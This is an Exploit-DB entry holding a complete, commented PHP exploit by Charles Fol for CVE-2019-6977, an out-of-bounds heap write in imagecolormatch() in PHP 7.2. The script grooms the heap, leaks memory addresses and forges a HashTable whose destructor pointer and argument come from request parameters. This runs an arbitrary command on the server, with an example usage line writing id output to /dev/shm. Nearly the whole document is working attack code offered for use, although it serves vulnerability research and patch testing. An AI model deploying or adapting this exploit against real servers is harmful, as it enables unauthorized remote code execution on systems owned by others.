PHP 7.2 – ‘imagecolormatch()’ Out of Band Heap Write

  • 作者: cfreal
    日期: 2019-02-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46677/
  • <?php
    # imagecolormatch() OOB Heap Write exploit
    # https://bugs.php.net/bug.php?id=77270
    # CVE-2019-6977
    # Charles Fol
    # @cfreal_
    #
    # Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
    # Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
    #
    # Target: PHP 7.2.x
    # Tested on: PHP 7.2.12
    #
    
    /*
    
    buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
    
    	for (x=0; x<im1->sx; x++) {
    		for( y=0; y<im1->sy; y++ ) {
    			color = im2->pixels[y][x];
    			rgb = im1->tpixels[y][x];
    			bp = buf + (color * 5);
    			(*(bp++))++;
    			*(bp++) += gdTrueColorGetRed(rgb);
    			*(bp++) += gdTrueColorGetGreen(rgb);
    			*(bp++) += gdTrueColorGetBlue(rgb);
    			*(bp++) += gdTrueColorGetAlpha(rgb);
    		}
    
    The buffer is written to by means of a color being the index:
    color = im2->pixels[y][x];
    ..
    bp = buf + (color * 5);
    
    */
    
    #
    # The bug allows us to increment 5 longs located after buf in memory.
    # The first long is incremented by one, others by an arbitrary value between 0
    # and 0xff.
    #
    
    error_reporting(E_ALL);
    define('OFFSET_STR_VAL', 0x18);
    define('BYTES_PER_COLOR', 0x28);
    
    
    class Nenuphar extends DOMNode
    {
    	# Add a property so that std.properties is created
    	function __construct()
    	{
    		$this->x = '1';
    	}
    
    	# Define __get
    	# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
    	# => zend_object_properties_size() == 0
    	# => sizeof(intern) == 0x50
    	function __get($x)
    	{
    		return $this->$x;
    	}
    }
    
    class Nenuphar2 extends DOMNode
    {
    	function __construct()
    	{
    		$this->x = '2';
    	}
    
    	function __get($x)
    	{
    		return $this->$x;
    	}
    }
    
    function ptr2str($ptr, $m=8)
    {
    	$out = "";
    for ($i=0; $i<$m; $i++)
    {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    
    function str2ptr(&$str, $p, $s=8)
    {
    	$address = 0;
    	for($j=$p+$s-1;$j>=$p;$j--)
    	{
    		$address <<= 8;
    		$address |= ord($str[$j]);
    	}
    	return $address;
    }
    
    # Spray stuff so that we get concurrent memory blocks
    for($i=0;$i<100;$i++)
    	${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
    for($i=0;$i<100;$i++)
    	${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);
    
    #
    # #1: Address leak
    # We want to obtain the address of a string so that we can make
    # the Nenuphar.std.properties HashTable* point to it and hence control its
    # structure.
    #
    
    # We create two images $img1 and $img2, both of 1 pixel.
    # The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
    # $img2 to have $nb_colors images and we set its only pixel to color number
    # $nb_colors.
    #
    $nb_colors = 12;
    $size_buf = $nb_colors * BYTES_PER_COLOR;
    
    # One pixel image so that the double loop iterates only once
    $img1 = imagecreatetruecolor(1, 1);
    
    # The three RGB values will be added to OOB memory
    # First value (Red) is added to the size of the zend_string structure which
    # lays under buf in memory.
    $color = imagecolorallocate($img1, 0xFF, 0, 0);
    imagefill($img1, 0, 0, $color);
    
    $img2 = imagecreate(1, 1);
    
    # Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
    # which puts buf in 0x200 memory blocks
    for($i=0;$i<$nb_colors;$i++)
    	imagecolorallocate($img2, 0, 0, $i);
    
    imagesetpixel($img2, 0, 0, $nb_colors + 1);
    
    # Create a memory layout as such:
    # [z: zend_string: 0x200]
    # [x: zend_string: 0x200]
    # [y: zend_string: 0x200]
    $z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
    $x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
    $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);
    
    # Then, we unset z and call imagecolormatch(); buf will be at z's memory
    # location during the execution
    # [buf: long[] : 0x200]
    # [x: zend_string: 0x200]
    # [y: zend_string: 0x200]
    #
    # We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
    # buf + 0x208 + 0x08 is X's zend_string.len
    unset($z);
    imagecolormatch($img1, $img2);
    
    # Now, $x's size has been increased by 0xFF, so we can read further in memory.
    #
    # Since buf was the last freed block, by unsetting y, we make its first 8 bytes
    # point to the old memory location of buf
    # [free: 0x200] <-+
    # [x: zend_string: 0x200] |
    # [free: 0x200] --+
    unset($y);
    # We can read those bytes because x's size has been increased
    $z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
    
    # Reset both these variables so that their slot cannot be "stolen" by other
    # allocations
    $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
    
    # Now that we have z's address, we can make something point to it.
    # We create a fake HashTable structure in Z; when the script exits, each element
    # of this HashTable will be destroyed by calling ht->pDestructor(element)
    # The only element here is a string: "id"
    $z = 
    	# refcount
    	ptr2str(1) .
    	# u-nTableMask meth
    	ptr2str(0) .
    	# Bucket arData
    	ptr2str($z_address + 0x38) .
    	# uint32_t nNumUsed;
    	ptr2str(1, 4) .
    # uint32_t nNumOfElements;
    	ptr2str(1, 4) .
    	# uint32_t nTableSize
    	ptr2str(0, 4) .
    	# uint32_t nInternalPointer
    	ptr2str(0, 4) .
    	# zend_long nNextFreeElement
    	ptr2str(0x4242424242424242) .
    	# dtor_func_t pDestructor
    	ptr2str(hexdec($_REQUEST['f'])) .
    	str_pad($_REQUEST['c'], 0x100, "\x00") .
    	ptr2str(0, strlen($y) - 0x38 - 0x100);
    ;
    
    # At this point we control a string $z and we know its address: we'll make an
    # internal PHP HashTable structure point to it.
    
    
    #
    # #2: Read Nenuphar.std.properties
    #
    
    # The tricky part here was to find an interesting PHP structure that is
    # allocated in the same fastbins as buf, so that we can modify one of its
    # internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
    # whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
    # one extra method, __get().
    # php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
    # Since we defined a __get() method, zend_object_properties_size(class_type) = 0
    # and not -0x10.
    #
    # zend_object.properties points to an HashTable. Controlling an HashTable in PHP
    # means code execution since at the end of the script, every element of an HT is
    # destroyed by calling ht.pDestructor(ht.arData[i]).
    # Hence, we want to change the $nenuphar.std.properties pointer.
    #
    # To proceed, we first read $nenuphar.std.properties, and then increment it
    # by triggering the bug several times, until
    # $nenuphar.std.properties == $z_address
    #
    # Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
    # the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
    # To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
    # instanciate them as $nenuphar and $nenuphar2. After we're done changing the
    # std.properties pointer, we trigger the bug more times, until
    # $nenuphar.std.ce == $nenuphar2.std.ce2
    #
    # This way, $nenuphar will have an arbitrary std.properties pointer, and its
    # std.ce will be valid.
    #
    # Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
    # and therefore call our arbitrary function.
    #
    
    # Here we want fastbins of size 0x50 to match dom_object's size
    $nb_colors = 2;
    $size_buf = $nb_colors * BYTES_PER_COLOR;
    
    $img1 = imagecreatetruecolor(1, 1);
    # The three RGB values will be added to OOB memory
    # Second value (Green) is added to the size of the zend_string structure which
    # lays under buf in memory.
    $color = imagecolorallocate($img1, 0, 0xFF, 0);
    imagefill($img1, 0, 0, $color);
    
    # Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
    $img2 = imagecreate(1, 1);
    for($i=0;$i<$nb_colors;$i++)
    	imagecolorallocate($img2, 0, 0, $i);
    
    $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
    $x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
    $nenuphar = new Nenuphar();
    $nenuphar2 = new Nenuphar2();
    
    imagesetpixel($img2, 0, 0, $nb_colors);
    
    # Unsetting the first string so that buf takes its place
    unset($y);
    
    # Trigger the bug: $x's size is increased by 0xFF
    imagecolormatch($img1, $img2);
    
    $ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
    $ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
    $props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
    
    print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
    print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
    print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
    print('z.val: 0x' . dechex($z_address) . "\n");
    print('Difference: 0x' . dechex($z_address-$props_address) . "\n");
    
    if(
    	$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
    	$z_address - $props_address < 0
    )
    {
    	print('That won\'t work');
    	exit(0);
    }
    
    
    #
    # #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
    #
    
    # Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
    # is also incremented by one because of (*(bp++))++;
    # Therefore after we're done incrementing props_address to z_address we need
    # to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce
    
    # The memory structure we have ATM is OK. We can just trigger the bug again
    # until Nenuphar.properties == z_address
    
    $color = imagecolorallocate($img1, 0, 0xFF, 0);
    imagefill($img1, 0, 0, $color);
    imagesetpixel($img2, 0, 0, $nb_colors + 3);
    
    for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
    {
    	imagecolormatch($img1, $img2);
    	$ce1_address++;
    }
    
    $color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
    imagefill($img1, 0, 0, $color);
    $current = imagecolormatch($img1, $img2);
    $ce1_address++;
    
    # Since we don't want to touch other values, only increase the first one, we set
    # the three colors to 0
    $color = imagecolorallocate($img1, 0, 0, 0);
    imagefill($img1, 0, 0, $color);
    
    # Trigger the bug once to increment ce1 by one.
    while($ce1_address++ < $ce2_address)
    {
    	imagecolormatch($img1, $img2);
    }
    
    # Read the string again to see if we were successful
    
    $new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
    $new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
    
    if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
    {
    	print("\nExploit SUCCESSFUL !\n");
    }
    else
    {
    	print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
    	print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
    	print("\nExploit FAILED !\n");
    }